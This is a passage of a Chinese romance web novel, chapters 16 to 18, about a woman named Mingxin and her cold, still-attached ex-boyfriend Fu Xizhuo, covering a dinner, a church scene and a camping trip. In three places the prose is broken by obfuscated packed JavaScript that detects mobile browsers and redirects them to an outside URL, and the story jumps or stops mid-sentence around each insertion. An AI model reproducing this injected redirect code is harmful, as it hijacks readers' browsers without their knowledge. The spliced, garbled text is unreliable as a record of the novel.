铭心脸上的情绪开始有些挂不住。 傅西灼赏玩着她这副样子,仿佛要将她每一分失落的神情都尽收眼底。 “别露出这副吃惊的表情。”明明笑着,眼神却冷到不行,他问:“不然你以为我会怎样?” “打磨它,翻新它,还是好好收藏它当作我们之间的回忆?” “历小姐,你以为你是多了不起的初恋?” 16. 第 16 章 “你以为”三个字说出来,颇有些自以为是的嘲讽味道。 铭心抬起眼来,很仔细地端量他。 冷眼,薄唇,宽肩,窄腰。 这是一具曾经只要她想要,就能够拥有的身体。 光阴过去,可此刻从他眼睛里,她依旧能看到自己。 第一次放在他腰上的收紧的手。 第一次接吻时她不停抖动的睫毛。 第一次清晨在一张床上醒来,他印在她脸颊上的吻。 最火热也最纯洁的——她的初恋。 在今天。 他亲口宣告。 那只不过是漫长人生路上一道浅浅的墨痕。 新的脚步踩上去,痕迹就消失了。 没什么了不起的。 …… 铭心很庆幸自己的理解力超群,不必再等他说出些更难听也更直白的话来,就已经清楚了自己在他心中的位置。 她想回应他,说她也一样,没觉得他多难忘。可话还没组织好,就开始一阵阵地发晕。 “我饿了。”她低声,忍着即将跌在某人身上的强烈眩晕感开口。 “跟你,”她已经看不清他的表情,只听到声音,“你觉得我还吃得下?” “我觉得……有些话不能当街说。” 说完最后这句,她就失去了意识。 再醒来时,面前是一张餐桌。 嘴里甜丝丝的,胳膊有些麻,旁边的垃圾桶里躺着口服液的玻璃外壳,印有“葡萄糖”字样。 “好点了?”傅西灼看着她,手按下铃。 铃响之后,一群服务生陆续上菜。 “先吃吧,吃完了再算账。” 铭心确实饿得不轻,这会儿顾不上跟他说什么,就先动了筷子往嘴里送米饭。 吃到精神差不多缓过来了,她喝了口水,郑重地问他讨:“小票呢?” 她可不能欠他的。 而且他把话说那么狠,哼。 吃完饭她就要跟他各奔东西。 傅西灼没给。铭心拿过菜单对照着桌上的菜。 ?? 这也太贵了吧! 明明可以直接抢钱却还要送她朵西蓝花。 一想到这样的天价菜她要分摊账单,头就又开始晕了。 “我要的不是这个账。”傅西灼把小票揉烂了投进垃圾桶。 “那是什么?”不管是什么,不是钱,铭心隐隐地松了口气。 “抱你上车,抱你走路,抱你进电梯,再抱你走路。还要喂不清醒的人喝葡萄糖,你知道这每一项都很难操作吧?” “我不清醒,那你怎么喂的?” 铭心问到了重点。他却说:“你可以充分发挥想象力。” 发挥你个头。铭心白眼在心里发送。 吃了口菜:“我诈你呢你还真胡扯上了。” 她还略微有点记忆:“我是自己喝的,没怎么麻烦你。” “行,就当你说的是真的,没在这方面麻烦我。” 什么“就当是真的”,本来就是真的好吗! 傅西灼拧开桌上放着的一瓶功能饮料,倒进玻璃杯,喝了一口:“那麻烦过的怎么说?我的体力消耗总不是假的。” 切。 不愿搭理他了都,本着善心,铭心还是把一杯白开水推给他换那饮料:“闲着没事喝那个干嘛呀,都不知道对身体好不好,喝水吧。” “给你买的,不确定喝哪个能醒,所以都准备了。” “我也没想到我突然就低血糖了,”铭心有点尴尬,也有点抱歉,“不管怎么说还是麻烦了你,谢谢。” “所以呢,你要跟我说什么。” “……嗯?” “不能在大街上说的,是什么。” “门锁了,这里只有你跟我。”傅西灼托起下巴,黑眼睛眯了眯,真有些倦意似的,打量她,“你的话最好有值得这样隐秘的价值。” “……” 好吧。 铭心起身走到他身后,拉上窗帘。 又走过来,揪住他的衣袖,提了提。 傅西灼听话地站起来。 “有人踩了我一脚,”铭心开始了。用鞋尖轻碰一下他的,并没踩上去,“又恰好,车,从这儿跑过去。” “林纵拉过我,救了我一下。” 当然,她演得并不完全真切,少了些步骤,比如没有抱他。 “总感觉有些不明不白的,”铭心说,“所以我想解释一下这个。” 说完,她观察他的反应。 傅西灼挑了挑眉,笑一下,坐回原位:“没什么解释的必要,也没人想听。” 铭心可不管他觉得有没有必要,她自己觉得有必要就行了。 也坐下,她继续缠他:“关于这件事,还有想知道的吗?” 傅西灼正用刀锯一块牛排,闻言,顿住了。 ……不会是被我问烦了不想给我切了吧。 铭心微微忐忑。 片刻,他抬眼,把视线打到她左手。 “拉的是这只手?” “嗯。” “没受伤吧。” “嗯。” “今晚的菜色喜欢吗。” “嗯。” 一连串的嗯,她都快成条件发射了,正准备再嗯下一个问题呢,他突然问:“跟我分手,你有没有哪怕一分钟,一秒钟,后悔过?” “……” 这个问题,她回答不了。 起身便走。 走到他那,立刻被绊了一跤。 罪魁祸首绊完她,又用极快的速度伸手搀了她一把,铭心毫发无伤。 只是吃惊地,瞪着他。 “他是这样救你的?”他冷脸问。 “你说林纵?”铭心甩开他的手。“他没你这么蛮横。” 傅西灼点头,仿佛很认同她的话。 “当然,毕竟他拿你当女朋友。” “这没问题吧?追女孩当然要有温柔一点的觉悟。” “有问题。” “什、什么……”他突然的逼近让她的声音忍不住发颤。 附过去,他耳语: “你不适合交男朋友。” “我适不适合要你……” “反正很快就会抛弃,交来干嘛?” 他总快她一步,“要你管”三个字没说完,也懒得说了。 “还有吗?”铭心竭力控制住自己,让声线平静,“你对我的建议。” “想知道的话,你得一直见我才行了。” “不想。”她硬着头皮说。 正要走,又被他扯回。 “坐下吃完吧,”他说,“我走。” - 再见到他,是在附近的教堂。 翻修后重新接待游人的第一天,长椅上没什么人。 零星的几个,散在不同边角。 铭心也随便找了个位置,静心祈祷。 睁开眼时,身边却多了个人。 向来不信神佛的人,突然来到这里,铭心心里隐隐地,很怕他是发生了什么变故。 可…… 他们在闹别扭呢。 上次的见面并不那么愉快,主动搭话的话他会不会扭头就走? 做了好一会儿心里建设,终于,铭心开口问:“最近还好吗?” 在她身旁坐了十分钟,她才终于发现他是活的。傅西灼在心里自嘲地笑了下,面上却没露出任何表情。 “这种话应该早点问吧?在我刚被你甩掉过得不人不鬼的时候。” 听了这话,她的目光朝他投过来。眼神里流露出的……是担心吗?他不确定。 就算是担心,那也很多余,不需要了。 错开眼,他去看前面的玫瑰窗。 阳光打在上面,绚烂夺目。 在国外的教堂,他也见过类似的玫瑰窗,比这还要绚丽些。 当时的他相当没出息。 见证许多美景的当下,他仍在想,如果你在就好了。 如果历铭心在就好了。 牧师对他说祝福的话,他一句都不肯相信。 比起godblessyou。 他更希望历铭心来牵他的手。 …… 余光注意到她还在盯着他,傅西灼终于忍不住出声警告:“收起你奇怪的眼神,别装得好像很关心我。 “我是在关心啊。”她的声音听不出假。 傅西灼转过脸去,与她对视:“你也用这种眼神关心别人?” “我不关心别人。” “也是,你廉价的关心属于“出于良心的补偿”,”他很清醒,“毕竟,我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人遥遥相对,晓风吹起暗紫色厚呢窗帘,一浪一浪掀,打在窗台上,又打到空中。 他看着她,恍然有时过境迁之感。 只不过他的那些“时”,因为少了她,都像是虚度了。 “亲爱的受害者——” 他又读一遍开头,追究:“为什么叫我亲爱的?” “反正也看完了,”她垂着头,朝他走过来,“把信还我吧。” “这么‘真心实意’的礼物,当然得收下了。” “不行,还我。” 她出其不意地一抬手,他早有预料,将信举高。 她很努力,又踮着脚去够,结果就不小心跌在他身上。 “你忘了这封信吧。” 她仰头,呼吸喷在他颈上,有些乱,“我重新写,你想要什么样的?” 傅西灼稳了稳心绪,不去看她的眼睛。 “打一巴掌给个甜枣,你怎么还在用同样的招数?” “你下次也这样好了,”她仍继续动,一伸手,却又扑了个空,“不要光给我甜的,把控诉信写得这么仁慈。” 仁慈……吗……。 傅西灼把信团在手心。 两手各抓住她一只腕子,锁在头顶,往墙上一按。 身前的人不再乱动了。 “神啊,请成全她的幸福,无论她想要怎样的快乐、财富,请让她拥有。 如果她想获得从我身边再次逃走的自由,请无条件地,折断能够使她达成的,任何一双翅膀。” ——他在信里,向神这么恳求了。 可神会听到他的心声吗? 神会帮他吗? 告解需清心、禁欲、断念、诚实。 既来到这里,他也曾想禁欲苦修,来达成一个愿。 可现在…… 她看着他。 她紧贴他。 他觉得自己的心脏炸开裂成两半。 他想恨她,又想吻她。 17. 第 17 章 月末,铭心提交了调休申请。 江依从上周起就念叨着想大家伙一块组织着去山上透透气,但是呢,梁宵不愿意去。 问起什么原因,江依只说她也不清楚,让铭心找机会帮着打听打听。 铭心连拐弯抹角都没,一见面就单刀直入地问了。 梁宵看她一眼,喉咙半哽。 “怎么了,不方便说?”铭心琢磨着他的表情。 “不是。”梁宵一口苦酒入喉,“我不想去主要是因为我想整点仪式感,好好过我们的纪念日,铺张一点,浪费一点。要是去了野外,那不好置办不说,帐篷一搭,江依指定满心只想着睡觉。” “睡觉是指……”单纯睡还是? 梁宵轻咳了一声,语调有些失落:“我不想只做她的床伴,你们懂吗?” 铭心也不知道是该懂还是不该懂。她自己的感情生活都是一团毛线,哪有给别人提建议的资格? 想了想,也就没吭声。 静了会儿,亲表哥先开了口:“她不喜欢你。” 铭心:“……” 梁宵:“……” 梁宵马上要哭。 干嘛啊说话这么让人伤心。铭心偷摸用手肘捣了傅西灼一下子,低声:“你说话能委婉点吗?别轻易给人判死刑行不行。” “我哪说错了?” 傅西灼抿了一口酒,放下酒杯,平静地注视她:“被人喜欢是什么感觉,你不是知道吗。” “……” 像一枚石子投入波心,心里的湖水打着旋,转得她晕头转向,铭心一时哑声。 她知道。 因为她曾经被他,那么热烈地喜欢过。 摆出副哭脸却是光打雷没下雨,梁宵又接着诉说伤心事:“上次我们去玩密室逃脱,她完全都不跟我贴贴,一个人在那疯狂解谜。那她那么聪明,十五分钟就解完出去了,我简直毫无体验感。” 控诉完了,他问:“你们以前,我是说还是情侣的时候,去密室也都这么玩?” 铭心表示共鸣:“也差不多吧。” 梁宵一脸难以置信,用眼神向他哥求证。 傅西灼没说话,只是看向她。 铭心被盯得垂下眼。 第一次去那会儿,俩人在一起还没多久。 关系好的同学说附近有家新开的密室逃脱体验馆,暧昧期必去。 那时候已经不是暧昧期了,但还处于一个相当纯情的阶段——说白了就是还没亲过。 铭心决定主动踏出这一步,上网搜索了密室逃脱情侣玩法,甚至做好了肢体接触的攻略。 什么时候可以牵手啦,什么时候应该往怀里钻啦。 准备做得相当充分,谁承想去了以后当事人就只专注解谜。 非常快速就带领她通关了。 丝毫没给她留下任何实践机会。 偶尔一次她想要靠在他身上时,他还凑她耳边提醒:“有摄像头。” 铭心当时一下子就激灵了。 她向来非常在意隐私这回事,去电影院的话连牵手都要斟酌。这回密室逃脱,她筹备的时候太兴奋,竟然完全忘记了摄像头这回事。 回程路上。 由于计划跟现实完全不一样,铭心不怎么开心。 但也竭力掩饰着,以为自己装没事装得挺好。 结果装到一半她自己先受不住了,越想越委屈。 她把车窗降下一截,冷空气一下子全涌进来。 傅西灼眼力挺快地调整了空调出风口的位置,对准她,她也当做没看见,又狠狠降下一截。 窗户是全开的了。 傅西灼把车子靠边停,回身拿了他的羽绒服给她。 铭心没接,暖蓬蓬的羽绒就盖了她一脸。 “你想吵架吗?” 本来就生着气呢,这会儿突然被蒙头,铭心提高音量喊了一声。 但声音被衣服藏住,显得不那么凶了。 羽绒服上还残留着他的体温和香气,铭心脸埋在里面,呼吸变得鲜明而急促。“你拿走……” 话没说完,衣服突然被掀开一角,又很快合上。 他的脸跟她藏在一处,四周都是黑的,什么都看不见。 只感觉到他湿润的吻和灼热的呼吸。 一齐落到她唇上。 …… “你去吗?你要去我就去。” 思绪回笼,梁宵又说回了正题,他想要拉着他哥一起去玩。 “没空。” 冷面男神一贯的回复风格。铭心毫不感到意外。 “你看他……”梁宵戳戳她手臂求援。 对待别人,铭心是没什么经验。但傅西灼的使用说明,她自认为掌握了个七七八八。 对待这种状况,她只需把眼神调成轻蔑模式,冷笑一声。 “不会是不敢去吧?因为我。” 傅西灼瞟了她一眼,眼神里在说“你很好笑”。 怎么回事? 明明这招激将法百试百灵来着。 没承想傅西灼进化了,面对她的挑衅,居然丝毫不为所动。 铭心再接再厉:“其实呢,你真的不用担心跟我在一起会发生什么,我绝对,什么都不会对你做的,因为你现在完全勾不起我的任何兴趣。” 傅西灼冷哼一声:“心口不一是你的专长?” 铭心:“死鸭子嘴硬是你的伪装。” “怎么?口感不好?那也没见你放过。” “我什么时候不放过了?哪里没放过?哪!里! “上个月二十七号。教!堂!”他一字一顿地补充:“告。解。室。” “哇……”梁宵开始啪啪鼓掌,“你们俩人吵起架来原来是这种风格啊,精彩,精彩。” 傅西灼深吸一口气,歇了战火,解开领口的一枚扣子,“怎么,被吓到了?” 梁宵摇头:“好幼稚,完全小学生。” 傅西灼:“滚。” 梁宵没滚,还追问。 “上个月二十七号,你们干什么了?” 铭心伸出拳头:“他被我揍了,很激烈。” …… 怕惹女朋友生气,梁宵已经决定要陪着去露营。铭心走后,他又劝他哥:“去吗哥?去的话我拉你进群。” 没第一时间反驳,那就是同意了。 梁宵简直受宠若惊,直接创了个群聊把俩人都拉进去,拉完私聊铭心:“你没有觉得别扭什么的吧?” 他哥去的话,那新的问题就诞生了——到那儿以后江依肯定黏着他要过二人世界,这么一来呢,他哥嫂(尽管是曾经的)也非本愿地变成二人世界了,不晓得俩人乐不乐意呢。 等了会儿,铭心回过来消息:“我无所谓,你哥那么洒脱,肯定比我更无所谓,你就专心琢磨怎么让江依开心就成,不用操心我们了。” 梁宵把消息给他哥看了眼,嘱咐:“明早上出发,你俩一辆车,你别刁难人家,别做什么过火的,注意分寸,能做到不?” “看心情。” “你别看心情啊你心情那么善变,我都让她放宽心了。” “她好像对我有误解呢。” “啊?” “我不洒脱。” …… 第二天一早。 “东西都带全了吗?” 梁宵大着嗓门提醒了一句,把自个儿手机备忘录调出来给女朋友看:“我都列清单了,清单上有的都带了,你看看还有什么要加的没?” 江依揉了揉他脑袋:“没问题,goodjob。” 梁宵又把脑袋凑过去。 “干嘛?”江依瞪大眼。 “求返场。” 于是江依就又呼噜了几下他头毛。 “手感怎么样?”俩人太甜蜜了,铭心忍不住调侃。 江依:“就还行吧。” “怎么叫还行,”梁宵不乐意了,“哪还有我这样的男朋友啊能随时随地让你摸,不信你问问我哥,他绝对不让这么干。” 铭心往后打了一眼,没看到傅西灼的车:“你哥还没来?” “来了,来了以后又走了,说去买件羽绒服,可能穿得少,没想到今天这么冷吧。” “我也。”铭心笑,“没想到会这么冷。” “没事,等我哥买了羽绒服,我去给你借他的,他一大男人不怕冻。” 几分钟后,有人摁了声喇叭。 梁宵朝那车走过去。 没两分钟又走回来:“我哥说不借。” 以为说借羽绒服是随口一说呢,没想到梁宵还真去借了,铭心有点感激,说:“没关系。” 梁宵:“他说那牌子叫THEDOGFACE,给狗穿的,所以不借。” 狗面是吧。铭心知道他是跑火车,更不可能会带狗来。 昨天说好的她跟傅西灼一辆车,给另外俩人留出私人空间来,但这会儿铭心有点犹豫了。 梁宵催了她一嘴:“咱们得走了。我哥车贼暖和,去吧去吧。” “万一他的车也是给狗坐的呢。”铭心不乐意去了。 “你俩可真有意思。”江依笑。 梁宵看江依笑,他也笑:“我哥想让你去他车。” “这话听起来……”铭心很警惕,“像你杜撰的。” “真的,刚才他跟我说的,让再找一人去他车里,然后我说我过去吧,结果他车门锁得死死的,连车窗户都不开。” “那好吧。” 铭心过去了,走了两步又往回走:“万一我去了他也不开门,那我不是很尴尬吗?” “开了。”梁宵一扬下巴。 铭心回头,见副驾驶的车门果然打开了。 这车是先前没见过的一辆,车门也是全自动。铭心抽了抽嘴角,有钱人就是不一样哈。 上车系好了安全带。 他把一件羽绒服扔给她。 铭心把羽绒服拉到脸上,打算睡一觉。 隔了几秒突然想起来什么,她又把羽绒服拉下来,“我听说这是狗面,给狗穿的。” “你的体型,”傅西灼扫她一眼,“不比狗大多少。” 铭心:“……” 睡了沉沉的一觉,半梦半醒之间感觉下巴痒痒的。 等等,我羽绒服呢? 脑子一下醒了一半,铭心猛地睁开眼。见傅西灼把一根食指横在她嘴边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348705|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “算了。”她拍掉他的手,慢腾腾把座位调高,“我早就没有起床气了。” “花开了。” 他声音静静的,就好像她还在睡,怕吵醒她似的。 铭心把头扭向窗外。 快速往后平移的嫩绿色新生叶和粉红色骨朵儿,像莫奈画里的景。 骤然想起,第一次跟他看花已经是几年前了。 那时候她租的房子里有潮虫,惹得她浑身起疹子没办法睡觉,坚持了一段时间以后,睡觉严重不足。 某天终于受不了,跑到他那里,一觉睡到下午。 他喊她起床,理由是再继续睡的话晚上睡不着又要把夜熬穿了,对身体不好。 她不起。 他又说未央路上的樱花全都开了我想跟你去赏花。 “花季不是很长嘛我们改天再去……”她嘟嘟囔囔地回应,又睡过去。 “哪里长了,半个月就结束了。” 铭心被痒醒,像只炸毛的猫似的,头发乱蓬蓬,眼睛却瞪得像老虎:“你刚刚挠我下巴了吧?哪根手指弄我的?” “这只。” 他举起来,她就对着他漂亮修长的食指狠咬下去。 咬完,他凑过去亲她一下。 还是被薅起来看了花。 两个人在树下反复走到第六趟,铭心终于给他支招儿:“就这么喜欢吗?实在舍不得走的话我们可以晚上睡这儿。” “傻啊你。”他弹她脑门,“我是怕你晚上睡不着才陪着在这消耗体力。” “睡不着睡不着呗,我们可以干点别的。”铭心笑吟吟的。 又收获他一个脑瓜崩儿。 - 到了山上,梁宵支好帐篷,拉着傅西灼玩西洋棋。 输了之后,傅西灼大发善心:“给你个请救兵的机会,把那边不会支帐篷还硬要忙活的人叫来。” 人叫来了,梁宵决定不给救兵压力:“你就随便玩玩就行,输了不要紧。” “随便玩玩有什么意思。”很拽地,傅西灼接话。 “那你就别随便。”作为被请来的救兵,铭心呛了声。 “哦,看来是有信心赢我?” “当然。” “你输了怎么算?” “你输了帮我搭帐篷。” 傅西灼游刃有余地笑了笑:“看来你今晚要睡外面了。” 铭心也不甘示弱:“看来你今晚要熬夜帮我搭帐篷了。” 一片唇枪舌剑中,梁宵小声插了句:“我走了,你们火药味太重,别过会儿再炸到我。” 旁观的人一走,俩人气势更足,感觉要把对方下死。 以握手开始,又以握手结束,一局终了。 铭心不让他走:“不行,再来一局。” “我赢了为什么还要给对方提供赢的机会?” “不行不行,”铭心又扯住他袖子,把人往地下拽,“你坐下。” “屁股疼。” “少来。再来最后一局,你赢了我让你提要求。” “不。”傅西灼拒绝。 “为什么?” “心情不好。” “你赢了还心情不好?那我是不是得……” 话说到一半,铭心意识到她的语气不够亲切,毕竟还得较量呢,不能惹他不开心。就又换了语气,微笑道:“怎么了呢,您?怎么就心情不好?” “赢了,不能给你搭帐篷了,想到你要睡野外,我很心疼。”他用一种欠儿嗖嗖的口吻捋顺了自己的逻辑。 别装了你,大尾巴狼说心疼羊谁信。 心里这么想着,脸上还是笑:“那您怎么才能心情好呢?” 等再开一局我必定杀你个片甲不留。 “不太知道。”他故作茫然地摇了摇头,“要不然,你试着逗我笑看看?” 行。等着。 她还真知道个好东西。 是在后备箱看见的,不知道他为什么要把这东西带来。 东西找来,重新在他对面坐好,铭心把棋盘端到旁边:“怕你笑得太厉害把棋打翻。” “真体贴。”他谬赞。 铭心笑笑,拿出手指棒——方才她从后备箱找来的宝物。 她知道他浑身上下的痒痒肉都在哪儿。逗他笑?那还不是小事一桩。 把笑一收,像剑士出剑似的,她迅速把手指棒戳到他侧腰的一小块肉。 他没反应。 她移开,换位置。 再戳。 把他身上各个敏感部位戳了个遍,此人仍是面无表情。 铭心泄了气,朝他发火:“你是机器人吗?没有知觉?” 如果是平常,她发出这么明显的认输信号,他肯定已经笑了,得意了。这会儿为了赢,愣是冷着脸没有一点嘴角上扬的迹象。他说:“只要逗笑我,你的帐篷我负责——这样的翻盘机会,要不要?” “真的?”警告他别撒谎似的,铭心又戳他一下,“你没骗我?” “当然。前提是……” 他抓住正抵在他胸口的手指棒,夺过,轻巧地掷在一边,“代替它,”很玩味的、傲慢的,他一个字一个字地要求: “你来碰我。” 18. 第 18 章 说完,傅西灼起身,合上了帐篷的拉链。 回身取下了露营灯,摁灭,在黑暗中,靠近她坐下。 把自己朝她送了送,他贴近她耳边吹了口气,要碰不碰的。 铭心几不可见地抖了一下身体,话说得很冰:“我早说了对你没兴趣,你关灯干什么。” 就好像在制造什么做坏事的环境似的。 “你的提议我也不打算接受,直接算我输好了。” 说完,她熟练地捏起他的下巴,往外推了推。 她对他的身体依然很熟稔,在内心深处也可以坦然承认生理上他对她的吸引力,只是通常不会表现出来。 除非,他把意图露出地格外明显。 就像现在。 “你是在,”忽然间,她找到了一个词,“——勾引我吧?” 听见她说的,傅西灼轻声地笑了下。 “我是在试验,你是不是有个第二人格,比如非要在伸手不见五指的安全环境里才会露出另一面。” “安全环境?你是说现在?”距离他远了些,铭心说话也变得更自在一点,“不对吧,我觉得跟你在一起很危险。” “哪种危险?”他明知故问,“接吻时会回应我的,那种危险?” “你说话一定要这样意有所指吗?” “看来我们都没忘。” “你能别声张了吗?本来在告解室里做不好的事就会被神惩罚的……”铭心越说声音越小,说到后面干脆闭了声。 因为她突然感觉到他的气息,又贴到了她耳边。 声音很轻,大半都是气声。 他说:“神已经……惩罚过我了……” 因为氛围太像恐怖片,铭心呆呆的:“你说什么?” “神说……”他继续,“要夺走我的枕头……被子……” “……” 神经病啊! 铭心猛地推开他:“你有病是不是?” 傅西灼笑出了声。 笑完,他开灯,拉开帐篷拉链,走出去,没回头地说:“这里是你的了。” “……”等等。 谁要睡你的帐篷啊! 铭心被他惹得一头雾水,还没从刚才的头晕脸热里反应过来,他就已经拍拍屁股走人,把帐篷划归她所有。 毕竟谈过一段不长不短的恋爱,她自以为对他有比较深入的了解,可是重逢以来,他的很多行为都超出了她过往对他的认知。 她认识他,却又不那么认识他了。 在他身上出现的,这点崭新的生疏和神秘,使得铭心对他产生了一种难以自控的……探索欲。 可这是对的吗? 她是不是不该再去招惹他? 尽管对他的种种变化和想法都还存着很大的忧虑,但铭心一直相信的那点人世的智慧在她心里冒出了头——事情都是做出来的,不是等出来的。 管他呢。 想干什么干什么得了。 铭心跟着也走出帐篷。 一言不发地,她帮他扯着帐篷的布子。 被帮的人也不说话,哐哐砸着一枚地钉。 俩人配合着工作,突然:“嗡——嗡——” 手机震了。 傅西灼直起身,掏出来看了眼,把手机抛给她。 铭心手忙脚乱地接住,又问:“确定我可以看?” 得到眼神许可后,她才低下头去读消息。 是梁宵在群里发的。 【明天是我跟江依在一起199天纪念日,我想给她个惊喜】 【这个地方,说是派对圣地,我看网上都推荐】 【你们帮我看看怎么样】 【行的话明天来帮我布置布置】 这个名字…… 铭心点开屏幕上的地址,跳转到地图。 名字和地点都对上了。 她把手机熄了屏,目光去找傅西灼。 帐篷已经搭了个七七八八,他站在西南角扯了扯,又弓下身子挨个砸了砸地钉,绕了一圈又回到她边上。铭心把手机递给他。 “明天,”他把手机揣兜里,“你可以不来。” LANOMA的服务很专业,负责筹备惊喜派对的工作人员也都经过系统培训,在帮忙这方面多一个人少一个人估计都没差。 “那我就不去……”了。 “不来的话,”傅西灼把话抢过来,“我默认你还在意。” “……?” 第一次跟傅西灼去LANOMA吃饭已经是很久以前的事了。 起因是他在网上看了个帖子,说是这家餐厅门口有意大利知名艺术家xxxxx(名字太长她根本没记住)亲手绘制的涂鸦。 并且这个涂鸦还有个神秘传说,大意是说在这里拍过合照的情侣最后都有情人终成眷属甜甜蜜蜜了。 看完网友的吹捧,他提议:“我们也去拍这个。” “这一看就是炒作出来的网红打卡地。”——这话当时已经到了嘴边,又被铭心给咽了回去。 她不愿叫他伤心。 最后温柔地提供了几种替代方案: “你要想拍现在就能拍呀,不用跑那么远去。” “要不然我也画一颗心挂墙上然后我们拍?” 傅西灼半天没回话,沉默着走到厨房去洗碗。 见他半小时都没回来,铭心拉开厨房门一看——何止是洗了碗,简直是把厨房整个大翻新了一遍。 她知道他这是闹别扭了。 这人一闹别扭就开始打扫卫生。 第二天俩人就去找那涂鸦拍照去了。 抱着来都来了一定要出片的心态,铭心摆pose什么的都很用力,拍来拍去累得不行,回到家往床上一躺,想了想还是觉得好笑。 “哪有人一生气就大扫除啊?你这技能也太实用了点。” 傅西灼翻到她上面来:“我生气还会触发别的技能,要不要试试?” 铭心推他下去,捡起手边打印好的照片看,“不过我更没想到的是,你居然会对这种东西感兴趣。” “嗯,我也没想到,好像是跟你在一起之后变成这样的。”傅西灼把脸转过来朝向她,“一边觉得很幼稚,一边又抱着点希望:万一玄学成真了呢?” 铭心拿手盖在他眼上,问:“你想跟我在一起多久?” “永远。” - 第二天安排好一切后,三人从酒店出来,梁宵“啊——”了一声,说忘了点事:“不行,我得再去嘱咐一下他们,你们先走吧。” 街道寂静,只有远处一个人在画画,往墙上。 铭心踩过地上那片“当年”的区域。 那颗火红的心如今已经褪了色,但笔触并没有失去张力,仿佛仍燃烧着当年的激情。 在原地站了会儿,她走向那个在墙上涂鸦的人。 傅西灼早她一步,已经接过那人递过去的画笔,开始画着什么。 他画了很久,久到原本的涂鸦者都离开了。 铭心站远一些看,认出来他画的正是跟地上一样的心形。 只是他的那颗心是蓝色的。 走过去,她没说话,静静地拿出湿纸巾,替他擦淡白色袖口上沾染的一小片天蓝色颜料。 他的大衣脱在了车里,风很冷。铭心打着商量问他:“要不要先进车里?改天再——” 话被生猛的动作截断。 他按她到墙上。 用的力气很凶。 眼神里藏着愤怒、侵略,以及某种道不明的……委屈? 铭心并不讶异,提到往事——甚至但凡沾着点往事的边儿,他总是突然变得会咬人。 就好像埋在地底下竭力压着的火,某天被翻动了地皮,烧上来一阵。 “我没带衣服,脏了没得换。” 尽管他的胳膊横在背后阻隔了铭心和那道墙之间的距离,仍难以避免沾上颜料,铭心提醒了一句。 他更是…… 蓝色混杂着少量的黄跟红,颜料转眼就沾满了他的衣袖。 那么洁癖的一个人,穿着相当贵的布料,这是在干什么? 铭心叹了口气,尝试分析他的意图: “如果是故地重游让你想到以前照片的事,你大可放心,我早就删了扔了。你也不用像现在这样威胁我。” 傅西灼手没松劲儿,脸却逼她更近,声音也更低:“我需要担心什么?” 竭力压抑的呼吸的热气往她脸上扑,他问:“一张接吻照而已,我需要担心什么?” “如果不是因为这个,那你现在是在干嘛?” “我说过了吧?你不来,我就默认你还在意。……可你今天来了,”他顿了顿,勾唇,“我有点伤心呢。” “跟前男友去过的地方我这辈子都不能再去了吗?世上哪有这样的道理?” 她有些不解也有些倔,瞪着他。 傅西灼沉默。 在这沉默里看了她一会儿,笑了。 那笑只是浅浅一层,没能融得了眼里的寒冰。 “那为了表示友好,”他掏出手机,单手调到相机界面,“要再合张影吗?” “……”疯子。 铭心推开他,恶狠狠地诅咒:“你跟墙合吧,合个够,最好是冻到感冒再回去!” …… 梁宵从旋转门一出来就愣在原地。 不是……这咋了?他哥这是……?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351817|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 袖子上,后背上,都沾上了许多的颜料。 那些色块乱乱的,看起来…… 很荒淫。 他不敢当面打扰,对着手机啪啪打字:“你俩这是干什么了?” 刚发给他哥,铭心就朝他走过来:“买花我就不去了,先回去了。” 梁宵愣愣的:“那先把你送回去我们再出来也行。” “不用,我打车。” “怎么了,你给人家惹生气了?”梁宵把车掉了个头,问坐在副驾的傅西灼。 “我不清楚她是不是生气。” “人家都不愿意跟你一个车了,那就是不想看见你,那就是生气了呗,这你都不懂,怎么谈的恋爱啊。” “你觉得我现在像是在谈?” “你又不是没谈过,没吃过猪肉还没见过猪跑啊,更何况你弟我这跑得比谁都快。” “你是猪?”傅西灼白他一眼,按了按眉心,“懒得跟你说,头疼。” 梁宵:“缺氧了?” “你俩那样谁看不出来,”梁宵觉着自己猜测得特别对,“旧情复燃了?不小心犯错了?” 傅西灼仰头,闭目养神。 他觉得,更像是。 完蛋了。 不过…… 睁开眼,拧大了暖风,看着风吹动新换的加绒卫衣的线绳,傅西灼嘴角微微上扬。 “你还知道冷啊?”梁宵见他这一通操作挺迷惑的,“冷你在那装什么大艺术家呢,挨冻半小时挨高兴了?” “不冷,只不过呢,我打算好好照顾下自己的身体。”他语气里透出点难以掩饰的欢愉,“毕竟,某人很担心我冻感冒呢。” 梁宵:“……” 梁宵:“?” 哪里来的某人? “江依喜欢姜花,我看这就不错。”到了花店,梁宵挑了一束,问店员,“你好,这里可以写卡片是吧?” “可以的先生,您可以选择自己写,或者是由我们代写,我们店里专门负责写贺卡的员工拥有书法相关的资质证书。” 论诚意那肯定得自己写啊,梁宵不打算假他人之手,“要一张粉色的卡片。” 写完后,梁宵找傅西灼评判:“怎么样?我这字还行吗?” 